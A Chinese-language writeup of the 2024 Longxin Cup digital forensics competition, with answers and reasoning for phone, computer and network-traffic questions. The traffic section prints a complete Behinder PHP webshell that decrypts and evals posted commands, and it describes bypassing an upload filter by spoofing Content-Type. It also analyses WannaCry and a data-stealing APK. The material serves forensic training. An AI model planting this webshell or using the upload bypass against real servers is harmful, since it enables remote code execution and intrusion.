当前位置: 首页 > news >正文

第二届 龙信杯 电子数据取证竞赛部分Writeup

大佬文章: 

龙信杯复现(23、24) | Bthcls'Blog

手机部分

资料:2024年第二届龙信杯 WP_2024龙信杯wp-CSDN博客

1.分析手机检材,请问此手机共通过adb连接过几个设备?[标准格式:3]    2

/data/adb/magisk.db其实是magisk APP的数据库,而policies表是APP用来根据包名,用户id决定策略的。

Magisk的policies表位于/data/adb/magisk.db数据库中,主要用于存储Magisk模块的配置信息。

Android 设备在通过 ADB 连接时,通常会要求用户授权连接,会要求用户确认设备授权,并将该设备的公钥保存在 adb_keys 文件中。该文件保存在/data/misc/adb/adb_keys

如果要查看ADB的相关配置,可以在/misc/adb/中找到,在此文件夹中包含adb_temp_keys.xml,其中存储了ADB 密钥,那么受害人手机上包含了2条密钥,因此连接过2台设备 

2.分析手机检材,机主参加考试的时间是什么时候?[标准格式:2024-06-17]    2024-08-23

在便签中可以直接找到8月12日说下周五考试,下周五是8月23日

3.分析手机检材,请问手机的蓝牙Mac地址是多少?[标准格式:12:12:12:12:12:12]       48:87:59:76:21:0f

蓝牙Mac地址存在于misc_1/bluedroid/bt_config.conf

4. 分析手机检材,请问压缩包加密软件共加密过几份文件?[标准格式:3]     6

这道题如果用的火眼,记得分析耗时任务中的特征分析

在搜索记录中能够发现filecompress,知道其包名为com.zs.filecompress,全局搜索后在media_425/0/FileCompress下发现压缩包(名字.txt,实际是压缩包)

 5.分析手机检材,请问机主的另外一个155的手机号码是多少?[标准格式:15555000555]

15599555555

/app/~~_jzJxEiovvVW2OdDRNs_dw==/com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==下找到apk文件

上面导出apk文件后,查看该apk文件的manifest,找到入口为MainActivity,找到压缩密码为1!8Da9Re5it2b3a.

这里使用到雷电手机取证工具

对第四题的6个压缩包解密即可,在mm.txt中找到另一个电话

 6.分析手机检材,其手机存在一个加密容器,请问其容器密码是多少。(标准格式:abc123)

d7Avsd!Y]u}J8i(1bnDD@<-o

 接上一个题可得

7.分析手机检材,接上问,其容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,请确认这个成员的原始正确姓名?[标准格式:张三]

既然上题知道了容器密码,那么现在去找容器,在

受害人手机检材.tar/media_425/0/Download/data 中发现容器,但是并不是简单的vc容器挂载,而是tc加密

资料:

【常见加密容器的取证方法】

使用tc进行挂载,发现成功

 使用大佬脚本

import pandas as pd
file_path = '名单数据.xlsx'
df = pd.read_excel(file_path)
phone_to_name = {}for name, phone, inviter, inviter_phone in zip(df['姓名'], df['手机号'], df['邀请人'], df['邀请人手机号']):if phone not in phone_to_name:phone_to_name[phone] = nameelif phone_to_name[phone] != name:print(f"警告:手机号 {phone} 对应了多个不同的姓名:{phone_to_name[phone]} 和 {name}")if inviter_phone not in phone_to_name:phone_to_name[inviter_phone] = inviterelif phone_to_name[inviter_phone] != inviter:print(f"警告:手机号 {inviter_phone} 对应了多个不同的邀请人:{phone_to_name[inviter_phone]} 和 {inviter}")
#警告:手机号 15979503550 对应了多个不同的姓名:陆陆 和 陆俊梅

8.分析手机检材,接上题,请确认该成员的对应的最高代理人是谁(不考虑总部)?[标准格式:张三]

刘珏兰

手动筛选xlsx表格,可以得出上级关系是:陆俊梅-->肖玉莲-->刘珏兰-->总部

 

9.分析手机检材,请确认在该组织中,最高层级的层次是多少?(从总部开始算第一级)[标准格式:10]    12

10.分析手机检材,请问第二层级(从总部开始算第一级)人员最多的人是多少人?[标准格式:100]

11.分析手机检材,机主共开启了几款APP应用分身?[标准格式:3]   2

12.分析手机检材,请问机主现在安装了几款即时通讯软件(微博除外)?[标准格式:1]   2 

13.分析手机检材,请问勒索机主的账号是多少(非微信ID)?[标准格式:AB123CD45]

1836042664454131712

14.分析手机检材,接上问,请问机主通过此应用共删除了多少条聊天记录 ?[标准格式:2]  1

15.分析手机检材,请问会盗取手机信息的APP应用包名是什么?[标准格式:com.lx.tt]

com.lxlxlx.luoliao

在微信聊天记录中,能够发现盗取手机信息的APP

使用雷电打开

16. 接上题,请问该软件作者预留的座机号码是多少?[标准格式:40088855555]

40085222666

发现可疑的编码 

继续跟进,发现存在AES解加密

 既然是AES就要寻找key,在可疑 的编码这里找到key

key是E10ADC3949BA59ABBE56E057F20F883E,iv是其前16位,即E10ADC3949BA59AB

将可疑的编码进行解密

17.接上题,恶意程序偷取数据的收件邮箱地址的gmail邮箱是多少?[标准格式:lx@gmail.com]

1304567895@gmail.com 

雷电直接分析出邮箱

可以解密得出

18.接上题,恶意程序偷取数据的发件邮箱地址是多少?[标准格式:lx@gmail.com]

temp1234@gmail.com

smtp常用来发送邮件

进行解密

19.接上题,恶意程序偷取数据的发件邮箱密码是多少?[标准格式:abc123]    qwer123456

20.接上题,恶意程序定义收发件的地址函数是什么?[标准格式:a]   a

以下这段代码是一个用于配置和发送电子邮件的Java类的一部分,它使用自定义的加密/解码方法和外部库来安全地处理敏感信息,并通过SMTP协议发送邮件。 

计算机部分

在火眼中可以发现电脑的用户信息,登录密码,注意,这里的密码在重置时不要修改 

在火眼中还发现,存在加密文件

计算机取证用到了仿真软件

1.分析计算机检材,嫌疑人在将其侵公数据出售前在Pycharm中进行了AES加密,用于加密的key是多少?[标准格式:1A23456ABCD]

65B2564BG89F16G9

2.分析计算机检材,身份证为"371963195112051505"这个人的手机号码是多少?[标准格式:13013524420]

15075547510

通过已知条件,可知存在加密的文件,使用ai生成解密脚本

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpaddef aes_decrypt(encrypted_data, key, iv):cipher = AES.new(key, AES.MODE_CBC, iv)decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)return decrypted_data.decode()key = b'65B2564BG89F16G9'
iv = b'83E6CBEF547944CF'input_file = "encrypted_data.txt"
output_file = "decrypted_data.txt"def process_decrypted_data(input_file, output_file, key, iv):with open(input_file, "r") as f_in, open(output_file, "w") as f_out:for line in f_in:parts = line.strip().split(',')index = parts[0]f_out.write(index + ",")decrypted_parts = []for part in parts[1:]:encrypted_part = bytes.fromhex(part)decrypted_part = aes_decrypt(encrypted_part, key, iv)decrypted_parts.append(decrypted_part)f_out.write(",".join(decrypted_parts) + "\n")process_decrypted_data(input_file, output_file, key, iv)print("解密完成。")

 解密完成之后,找到对应的电话号码

3.分析计算机检材,对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是多少?(身份证不甄别真假)[标准格式:100]   0

使用脚本,发现数量为0

# 打开文件并读取所有行
with open('decrypted_data.txt', 'r') as file:lines = file.readlines()# 去除每行开头和结尾的空白字符
id_cards = [line.strip() for line in lines]# 使用collections模块的Counter类来统计每个身份证号出现的次数
from collections import Counter
counter = Counter(id_cards)# 计算重复的身份证号数量
duplicate_count = sum(count for count in counter.values() if count > 1)print(f"身份证重复数量: {duplicate_count}")>>>身份证重复数量: 0

4.分析计算机检材,接上题,根据身份证号码(第17位)分析性别,男性的数据是多少条?[标准格式:100]

工具使用方法:Navicat Premium基本使用教程-CSDN博客

 5001714

5.分析计算机检材,接上题,对解密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是多少?[标准格式:100]

5001185

6.分析计算机检材,计算机中存在的“VPN”工具版本是多少?[标准格式:1.1]   4.4

找软件WinXray

7.分析计算机检材,计算机中存在的“VPN”节点订阅地址是什么?[标准格式:http://xxx.xx/x/xxx] 

https://paste.ee/d/4eIzU

8.分析计算机检材,eduwcry压缩包文件的解压密码是什么?[标准格式:abcabc]  yasuomima

在下载中压缩包,并发现密码管理器中的密码

9.分析计算机检材,接上题,请问恶意程序释放压缩包的md5值是多少。[标准格式:全小写]

2024龙信杯wannacry勒索病毒题目分析_wannacry修改壁纸的函数-CSDN博客

10.分析计算机检材,接上题,请问恶意程序记录的洋葱浏览器下载地址是多少?[标准格式:http://xxx.xxx/xxx/xxx.zip]

注意:这里需要关闭防火墙的相关软件软件

然后在c.wnry中找到了。

11.分析计算机检材,接上题,请问恶意程序解密了t.wnry后该dll的md5值是多少。[标准格式:全小写]

12 分析计算机检材,接上题,恶意程序运行起来后第一个循环调用了几次taskkill.exe。[标准格式:2]
13 分析计算机检材,接上题,请问@WanaDecryptor@.exe.lnk文件是通过什么函数创建的。[标准格式:Aabcdef]
14 分析计算机检材,接上题,恶意程序修改系统桌面壁纸是在哪个函数实现的[标准格式:sub_xxx]

15.分析计算机检材,VeraCrypt加密容器的密码是什么?[标准格式:abc]

16.分析计算机检材,其中存在一个苹果手机备份包,手机备份包的密码是什么?[标准格式:12345]

75966

挂载data-backup,成功之后,即可得到一个苹果手机的备份包。

在浏览记录中发现用户搜索过如何解密5位数字密码的苹果备份

火眼中发现有密码

使用passware kit爆破密码

17. 分析计算机检材,接上题,机主实际篡改多少条微信数据?[标准格式:1]       3

18. 分析计算机检材,接上题,机主共存款了多少金额?[标准格式:10万]

在火眼的分析中,发现SQLite文件,里面的message有关键信息

19.分析计算机检材,在手机模拟器中勒索apk软件的sha256值是什么?[标准格式:全小写]

340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e

20.分析计算机检材,接上题,请问勒索apk软件的解锁密码是什么?[标准格式:qwer.com]

anzhuo.com

流量分析 

参考大佬文件:

http://t.csdnimg.cn/l0jVH

1.分析流量包检材,给出管理员对web环境进行管理的工具名。(标准格式:小皮)宝塔

服务器IP为192.168.209.147。然后分析一下服务器的流量,发现了DNS信息,这边服务器主动请求了宝塔服务器。有其DNS解析记录,所以管理工具应该就是宝塔面板。

2.分析流量包检材,给出攻击者的ip地址是多少。(标准格式:127.0.0.1)

使用http contains "pwd"筛选出所有HTTP请求或响应中包含字符串"pwd"的数据包,有效地监控和分析网络中的敏感操作,确保网络安全,从里面可以看出攻击的ip地址

3.分析流量包检材,给出攻击者爆破出的网站非管理员用户名是。(标准格式:admin)

4.分析流量包检材,攻击者进行目录扫描得到的具有后门的页面url路径为。(标准格式:/abc.html)          /up_load.html

http.request.uri matches "/*.html".

 

5.分析流量包检材,攻击者通过修改请求包中的哪个字段导致恶意文件成功上传。(标准格式:test-type)Content-Type

看到这里失败了

过滤看一下有关流量,http.request.uri matches “/up_load.php”

这里是上传成功的

对比能够发现,修改为Content-Type: image/jpeg能上传php和jpeg,因此修改的字段就是Content-Type

 6.分析流量包检材,攻击者上传成功的恶意文件, 该文件的临时存放路径是。(标准格式:/abc/edf)/tmp/php38mbeJ

webshell在/uploaded_img/cont.php

7.分析流量包检材,服务器php配置文件的存放位置。 [标准格式:/www/sev/php.ini]

/www/server/php/82/etc/php.ini

 由木马内容可知AES128加密

追踪木马文件流,尝试以后,进行解密,最后在第127个流追到了对应的命令。

以下是冰蝎马

冰蝎:冰蝎3.0流量包简单分析_冰蝎3.0解密-CSDN博客

工具:Webshell 流量在线解密 

<?php
@error_reporting(0);
session_start();
//这行代码尝试将PHP的错误报告级别设置为0,即关闭所有错误报告。@符号是PHP中的错误控制运算符,用于抑制错误消息的显示。然而,这种做法在生产环境中通常不是最佳实践,因为它可能隐藏了重要的问题。$key="e45e329feb5d925b";$_SESSION['k']=$key;session_write_close();
//这里定义了一个密钥$key,并将其存储在会话变量$_SESSION['k']中。这可能是为了后续操作中使用这个密钥,尽管在当前脚本中未直接使用会话中的密钥。session_write_close();:写入会话数据并关闭会话文件。这通常用于在脚本中尽早关闭会话,以便其他脚本或页面可以读取或写入会话数据。$post=file_get_contents("php://input");//使用file_get_contents("php://input")读取原始POST数据。这对于处理非表单编码的POST请求(如JSON或XML)特别有用。if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}
//接下来,根据是否加载了openssl扩展,以不同的方式解密POST数据:如果未加载openssl扩展,则使用简单的XOR加密与$key进行解密。注意这里使用了字符串的索引来访问字符,并通过$i+1&15确保索引在$key的长度范围内循环。如果加载了openssl扩展,则使用AES-128算法解密POST数据。然而,这里的实现存在一些问题:AES解密需要密钥、初始化向量(IV)和适当的模式(如CBC、ECB等),但这里只提供了密钥,没有提到IV和模式。$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);
//解密后的数据被假设为函数名|参数的格式,通过explode('|', $post)分割成数组。
定义一个匿名类C,它实现了__invoke魔术方法。这意味着C的实例可以作为函数被调用,实际上执行的是eval($p);,其中$p是传递给__invoke方法的参数。
使用@call_user_func(new C(), $params);动态调用C的实例,并传入$params作为参数。
?>

根据以上继续进行解密,在20294流中得到对于的内容

接下来,解密内容(也在20294流中),发现数据库的密码

解密20294流中另一个base64,$path="L3d3dy93d3dyb290LzE5Mi4xNjguMjA5LjE0Nw==得到以下内容

  通过分析流量可知,配置存储文件在流127之前,通过筛选找到这个

/www/server/php/82/etc/php.ini

8.分析流量包检材,被攻击的web环境其数据库密码是。 [标准格式:qwer1234]

在上题中发现数据库的密码

X847Z3QzF1a6MHjR

9.分析流量包检材,服务器管理存放临时登录密码的位置。 [标准格式:/tmp/pass]

在29854流中发现相关信息,/tmp/tmppass 

10.分析流量包检材,黑客获取的高权限主机的登录密码。 [标准格式:qwer1234] 

passwd!@#

接上题,在一样的流中发现

服务器部分

1. 分析服务器检材,服务器会做登录密码验证,该登录验证文件位置在?[标准格式:/xxx/xxx/xxx.xxx]

2.分析服务器检材,服务器ssh端口是多少?[标准格式:1234]

相关文章:

第二届 龙信杯 电子数据取证竞赛部分Writeup

大佬文章&#xff1a; 龙信杯复现&#xff08;23、24&#xff09; | BthclsBlog 手机部分 资料&#xff1a;2024年第二届龙信杯 WP_2024龙信杯wp-CSDN博客 1.分析手机检材&#xff0c;请问此手机共通过adb连接过几个设备&#xff1f;[标准格式&#xff1a;3] 2 /data/a…...

偷啥的都有!

好久不做地铁了&#xff0c;昨个儿加班儿太晚&#xff0c;就没骑车回家。早上到了地铁站&#xff0c;想起我前一阵儿下雨时候&#xff0c;把自行车放在了地铁站&#xff0c;结果尾灯被人偷了&#xff01; 真是偷啥的都有&#xff01; 2024年10月15日 7:41...

【中文注释】planning_scene_tutorial.cpp

planning_scene_tutorial.cpp #include <rclcpp/rclcpp.hpp>// MoveIt 相关头文件 #include <moveit/robot_model_loader/robot_model_loader.h> #include <moveit/planning_scene/planning_scene.h> #include <moveit/kinematic_constraints/utils.h>…...

【Vue3】 h()函数的用法

目录 介绍 参数 使用案例 1.创建虚拟 DOM 元素 2. 组件的动态渲染 3. 创建功能组件 4.渲染动态属性 5. 使用插槽 6. 创建动态标签 介绍 h() 函数用于辅助创建虚拟 DOM 节点&#xff0c;它是 hypescript 的简称——能生成 HTML (超文本标记语言) 的 JavaScript&#x…...

Flask如何实现前后端分离项目

在现代Web开发中&#xff0c;前后端分离是一种常见的架构模式&#xff0c;其中前端和后端分别独立开发和部署&#xff0c;通过API进行通信。Flask作为后端框架&#xff0c;可以很容易地与前端框架&#xff08;如React、Vue.js或Angular&#xff09;配合使用来实现前后端分离。以…...

二维码生成器 1.02.41| 一站式QR码生成器和美化工具

二维码生成器是一个有用的QR码生成器应用程序。可以轻松地为网站链接、文本、WiFi、名片、短信、社交媒体账户等生成QR码。该应用支持更改QR码的颜色、码眼图案和框架&#xff0c;并可以添加徽标和文本&#xff0c;使QR码更加美观。使用此QR码生成器&#xff0c;可以使用设计精…...

腾讯云视立方·直播 SDK 合规使用指南

为帮助使用直播 SDK 的开发运营者&#xff08;以下简称“您”&#xff09;在符合个人信息保护相关法律法规、政策及标准的规定下合规接入、使用第三方SDK&#xff0c;深圳市腾讯计算机系统有限公司&#xff08;以下简称"我们"&#xff09;特制定《直播 SDK 接入使用说…...

在 Spring 中使用 @EhCache 注解作为缓存

文章目录 项目概况项目设置一个简单的 RESTful Web 服务Spring 整合 EhCache第 1 步&#xff1a;更新依赖项以使用 EhCache Spring 注解第 2 步&#xff1a;设置自定义缓存管理器第 3 步&#xff1a;配置 EhCache第 4 步&#xff1a;测试缓存 刷新缓存总结推荐阅读文章 EhCache…...

npm install进度卡在 idealTree:node_global: sill idealTree buildDeps

ping一下源&#xff1a;ping http://registry.npm.taobao.org/ ping不通&#xff0c;原因&#xff1a;原淘宝npm永久停止服务&#xff0c;已更新新域名~~震惊&#xff01;&#xff01;&#xff01; 重新安装&#xff1a;npm config set registry https://registry.npmmirror.c…...

力扣1031. 两个非重叠子数组的最大和

力扣1031. 两个非重叠子数组的最大和 题目解析及思路 题目要求找到两段长分别为firstLen 和 secondLen的子数组&#xff0c;使两段元素和最大 图解见灵神 枚举第二段区间的右端点&#xff0c;在左边剩余部分中找出元素和最大的第一段区间&#xff0c;并用前缀和优化求子数组…...

【Unity实战篇】 接入百度翻译,实现文本自动翻译功能

前言【Unity实战篇】 接入百度自动翻译,实现文本自动翻译功能一、获取百度翻译开发平台的APPID和密钥二、Unity中接入自动翻译功能三、Unity中实现自动翻译文本Text功能总结前言 日常在做项目的过程中,游戏本地化几乎已经成为必不可少的一步。本篇文章将演示怎样在Unity中接入…...

ubuntu samba

参考&#xff1a; 基于Ubuntu22.04的Samba服务器搭建教程&#xff08;新手保姆级教程&#xff09;_ubuntu samba-CSDN博客 当时按照这个不行&#xff1a; 主要做了这些修改 1、ufw 打开端口 这些都打开了 Samba服务使用的端口和协议如下1234: Port 137 (UDP) - NetBIOS 名…...

Linux系统和数据库常用的命令2

Linux系统和数据库常用的命令2 1、两台Linux机器ssh免密登录 client端登录server端需要免密&#xff0c;只需把公钥发送到server就可&#xff0c;会在server端生成一个authorized_keys文件 # 108机器上[rootclient ~]# ssh-keygen -t rsa // 非对称算法 Generating public/…...

Golang | Leetcode Golang题解之第468题验证IP地址

题目&#xff1a; 题解&#xff1a; func validIPAddress(queryIP string) string {if sp : strings.Split(queryIP, "."); len(sp) 4 {for _, s : range sp {if len(s) > 1 && s[0] 0 {return "Neither"}if v, err : strconv.Atoi(s); err …...

mermaid 图表相关

1.mermaid图表的代码 1.1 flowchart 流程图代码 flowchart TDA[Christmas] -->|Get money| B(Go shopping)B --> C{Let me think}C -->|One| D[Laptop]C -->|Two| E[iPhone]C -->|Three| F[fa:fa-car Car]1.2 sequece 时序图代码 sequenceDiagramAlice->&…...

Unity接入人工智能

在Unity接入人工智能中&#xff0c;本篇实现了接入百度智能云ai进行npc智能对话&#xff0c;通过http方式&#xff0c;并非插件&#xff0c;适合于所有支持Http链接的Unity版本。对于Chartgpt可以参考本篇内容的实现过程。 1-4节讲解测试&#xff0c;第5节讲解Unity中的实现&a…...

C语言笔记 14

函数原型 函数的先后关系 我们把自己定义的函数isPrime()写在main函数上面 是因为C的编译器自上而下顺序分析你的代码&#xff0c;在看到isPrime的时候&#xff0c;它需要知道isPrime()的样子——也就是isPrime()要几个参数&#xff0c;每个参数的类型如何&#xff0c;返回什么…...

Cpp::STL—list类的模拟实现(上)(13)

文章目录 前言一、结点类的实现二、迭代器类的实现迭代器类的存在意义迭代器类的模板参数构造函数运算符的重载--运算符的重载、!运算符的重载*运算符的重载->运算符的重载 总结 前言 注意本篇难度偏高&#xff0c;其主要体现在迭代器类的实现&#xff01;   什么&#xf…...

ListView的Items绑定和comboBox和CheckBox组合使用实现复选框的功能

为 ListView 控件的内容指定视图模式的方法&#xff0c;参考官方文档。 ComboBox 样式和模板 案例说明&#xff1a;通过checkBox和ComboBox的组合方式实现下拉窗口的多选方式&#xff0c;同时说明了ListView中Items项目的两种绑定方式. 示例&#xff1a; 设计样式 Xaml代码…...

PetaLinux工程的常用命令——petalinux-build

petalinux-build&#xff1a;编译项目或指定组件。 注&#xff1a;有些命令我没用过&#xff0c;瞎翻译有可能会翻译错了。 用法: petalinux-build [options] 可选参数: -h, --help 显示函数用法。 -p, --project <PROJECT> PetaLinuxSDK项目的路径。默认…...

【Qt】窗口预览(1)—— 菜单栏

窗口预览&#xff08;1&#xff09; 1. QMainWindow2. QMenuBar——菜单栏2.1 创建菜单栏/将菜单栏添加到widget中2.2 addMenu——在菜单栏中添加菜单2.3 在菜单中添加选项2.4 添加快捷键2.5 支持嵌套添加菜单2.6 添加信号2.7 添加分割线 1. QMainWindow Qt窗口是通过QMainWin…...

揭秘酱香型白酒中的6大劣质酒的特点,守好你的健康与钱包

你知道吗&#xff1f;居然有 90%的人都喝过这 6 种劣质酱香型白酒&#xff0c;今天酱酒亮哥就带大家一起揭开它们的真面目&#xff0c;看看你中招了没有&#xff01; 先说那种有很浓的生粮味的酱酒&#xff0c;就像刚磨出来还没烧开的豆浆味&#xff0c;喝起来那叫一个难受。想…...

C#拓展方法

定义 扩展方法使你能够向现有类型“添加”方法&#xff0c;而无需创建新的派生类型、重新编译或以其他方式修改原始类型。 扩展方法是一种静态方法&#xff0c;但可以像扩展类型上的实例方法一样进行调用。 对于用 C#、F# 和 Visual Basic 编写的客户端代码&#xff0c;调用扩…...

02.顺序表、链表简述+对比

目录 一、线性表 二、顺序表 三、链表 四、顺序表和链表的区别 一、线性表 线性表&#xff08;linear list&#xff09;是n个具有相同特性的数据元素的有限序列&#xff08;相同特性指都为整型int、字符型char或其它类型&#xff09;。 线性表是一种在实际中广泛使用的数据…...

前端布局与响应式设计综合指南(三)

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;Css篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来Css篇专栏内容:前端布局与响应式设计综合指南(三) 目录 42、px/em/rem有什么区别&#xff1f;为什么通常给font-s…...

当今SNARKs全景

1. 引言 前序博客有&#xff1a; ZKP历史总览SNARK原理示例SNARK性能及安全——Prover篇SNARK性能及安全——Verifier篇Transparent 且 Post-quantum zkSNARKsSNARK DesignRollup项目的SNARK景观 SNARKs因&#xff1a; proof size证明时长验证时长密码学信任假设是否需要tr…...

PMP敏捷专题课:敏捷原则与理念

信息发射源、看板是敏捷相关的词汇。 需求不明确&#xff1a;敏捷的关键词。 明确的端对端工作范围是传统项目管理的关键词。所以&#xff0c;应该采用&#xff1a;混合的&#xff0c;多轨制&#xff0c;瀑布态这样的声明周期 STACEY矩阵。 敏捷价值观指引者我们敏捷的实现。…...

有两个水桶,容量分别为5升和3升,请问如何使用这两个桶得到4升的水?

网上看到的一个面试的题目&#xff0c;感觉挺有意思的记录一下 可以按照以下步骤使用这两个桶得到 4 升的水&#xff1a; 将 5 升水桶装满水&#xff0c;倒入 3 升水桶中&#xff0c;此时 5 升水桶中还剩下 2 升水。将 3 升水桶中的水全部倒掉&#xff0c;然后将 5 升水桶中的…...

pytorch_lightning笔记

Debug 1. 快速运行一次所有的代码 (fast_dev_run) 训练了好长时间但是在训练or 验证的时候崩溃了 使用 fast_dev_run运行5个batch 的 training validation test and predication 查看是否存在错误&#xff1a; train Trainer(fast_dev_runTrue) # True 时为5 train Train…...

从零开始了解云WAF,您的网站安全升级指南

网站安全对任何线上业务来说至关重要&#xff0c;尤其是在网络威胁不断升级的今天。无论是流量高峰期还是日常运营&#xff0c;确保数据安全与服务稳定是每个网站运营者最关心的事情。云WAF&#xff08;Web应用防火墙&#xff09;作为一种高效的安全防护手段&#xff0c;正逐渐…...